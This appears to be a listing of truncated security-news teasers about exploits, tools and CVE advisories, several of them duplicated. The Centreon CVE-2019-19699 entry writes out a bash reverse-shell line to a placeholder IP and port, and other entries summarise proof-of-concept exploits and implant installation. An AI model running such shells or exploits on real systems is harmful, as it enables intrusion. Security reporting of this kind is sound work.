needrestart

needrestart Acerca de needrestart comprueba qué demonios necesitan reiniciarse después de actualizaciones de bibliotecas. Está inspirado en checkrestart del paquete debian-goodies. Hay algunos scripts hook en el directorio ex/ para usar con apt y dpkg. Los scripts llamarán a needrestart después d...

CVE-2023-20198

CVE-2023-20198 CVE-2023-20198 PoC ! Descripción realiza acciones en un servidor web objetivo. El script demuestra cómo crear una cuenta de usuario local, instalar un implante, reiniciar el servidor web, verificar la presencia del implante y, finalmente, limpiar eliminando la cuenta de usuario...

kalitorify

Transparent Proxy through Tor for Kali Linux About kalitorify kalitorify is a shell script for Kali Linux which use iptables settings to create a Transparent Proxy through the Tor Network , the program also allows you to perform various checks like checking the Tor Exit Node i.e. your public IP...

microctfs

microctfs Small CTF challenges running on Docker logviewer Build and Start logviewer challenge exposed on port 8000 root@kitploit: cd logviewer docker build -t logviewer . docker run -d -p 8000:80 --name logchallenge logviewer Restart logviewer challenge root@kitploit: docker rm -f logchallenge &...

CVE-2026-25643

Exploit de RCE Ciega en Frigate NVR ≤ 0.16.3 CVE-2026-25643 PoC 📜 Descripción Este exploit en Python aprovecha una vulnerabilidad crítica de manipulación de configuración en las versiones de Frigate NVR hasta la 0.16.3 tanto en rutas autenticadas como no autenticadas. Al inyectar una transmisión...

CVE-2019-19699

CVE-2019-19699 Centreon = Commands Miscellaneous Procedemos haciendo clic en Add como se muestra en la imagen a continuación. Ahora creamos una reverse shell en bash como nuestro comando Miscellaneous root@kitploit: !/bin/bash bash -i & /dev/tcp/IP/PORT 0&1 Y hacemos clic en Save Ahora navegamos ...

MAL-002

MAL-002: Forzar el reinicio del sistema mediante MSIs de Windows instalados Una vez que un software se instala correctamente en el sistema, uno o más archivos MSI de confianza aparecerán en la carpeta “C:\Windows\Installer” y pueden permitir a un usuario de bajo privilegio realizar acciones de...

Apache-CVE-2026-23918-fix

Servidor HTTP Apache: http2: Doble liberación y posible RCE en reinicio temprano CVE-2026-23918. Vulnerabilidad de doble liberación y posible RCE en el Servidor HTTP Apache con el protocolo HTTP/2. Este problema afecta al Servidor HTTP Apache: 2.4.66. Se recomienda a los usuarios actualizar a la...

kernel: rhashtable: clear stale iter->p on table restart

A flaw was found in the Linux kernel. This vulnerability, known as a use-after-free, occurs in the rhashtable component when the system improperly handles hash table restarts. An attacker could potentially exploit this by causing the system to access memory that has already been released, which m...

kernel: rhashtable: clear stale iter->p on table restart

A flaw was found in the Linux kernel. This vulnerability, known as a use-after-free, occurs in the rhashtable component when the system improperly handles hash table restarts. An attacker could potentially exploit this by causing the system to access memory that has already been released, which m...

Security Advisory 0173

Security Advisory 0173 PDF Date: September 9, 2026 Revision | Date | Changes ---|---|--- 1.0 | September 9, 2026 | Initial release The CVE-ID tracking this issue: CVE-2026-73455 CVSSv3.1 Base Score: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSSv4.0 Base Score: 8.9...

CVE-2025-47176

CVE-2025-47176 Puente de Navegador PoC Descripción Esta prueba de concepto PoC demuestra la simulación de la vulnerabilidad CVE-2025-47176. Inyecta un elemento de correo manipulado en Outlook que contiene una ruta de sincronización maliciosa que desencadena una acción durante el escaneo...

Vulnerabilities in MikroTik RouterOS

MikroTik has addressed several vulnerabilities in RouterOS. The first vulnerability relates to a flaw in the SSH authentication mechanism, where the exponent of RSA keys was not verified. As a result, attackers can forge RSA signatures and gain unauthorized access via SSH. The second vulnerabilit...

kernel: rhashtable: clear stale iter->p on table restart

A flaw was found in the Linux kernel. This vulnerability, known as a use-after-free, occurs in the rhashtable component when the system improperly handles hash table restarts. An attacker could potentially exploit this by causing the system to access memory that has already been released, which m...

kernel: rhashtable: clear stale iter->p on table restart

A flaw was found in the Linux kernel. This vulnerability, known as a use-after-free, occurs in the rhashtable component when the system improperly handles hash table restarts. An attacker could potentially exploit this by causing the system to access memory that has already been released, which m...

CVE-2026-67277

RouterOS accepts a "related" btest connection before the corresponding primary session has completed authentication. An unauthenticated client can use this state to start an IPv4 UDP test. With "random-data=false", the sender transmits an uninitialized tail from a kernel packet buffer. A separate...

EUVD-2026-72025

RouterOS accepts a "related" btest connection before the corresponding primary session has completed authentication. An unauthenticated client can use this state to start an IPv4 UDP test. With "random-data=false", the sender transmits an uninitialized tail from a kernel packet buffer. A separate...

VulnCheck KEV: CVE-2026-67277

RouterOS accepts a "related" btest connection before the corresponding primary session has completed authentication. An unauthenticated client can use this state to start an IPv4 UDP test. With "random-data=false", the sender transmits an uninitialized tail from a kernel packet buffer. A separate...

AZL-99642 CVE-2026-80890 affecting package kernel 6.6.150.1-1

In the Linux kernel, the following vulnerability has been resolved: sctp: reject stale cookies with mismatched verification tags sctpunpackcookie skips cookie expiration checks whenever an association already exists. This is broader than the exception in RFC 9260 Section 5.2.4. For an existing...

EUVD-2026-71640

In the Linux kernel, the following vulnerability has been resolved: sctp: reject stale cookies with mismatched verification tags sctpunpackcookie skips cookie expiration checks whenever an association already exists. This is broader than the exception in RFC 9260 Section 5.2.4. For an existing...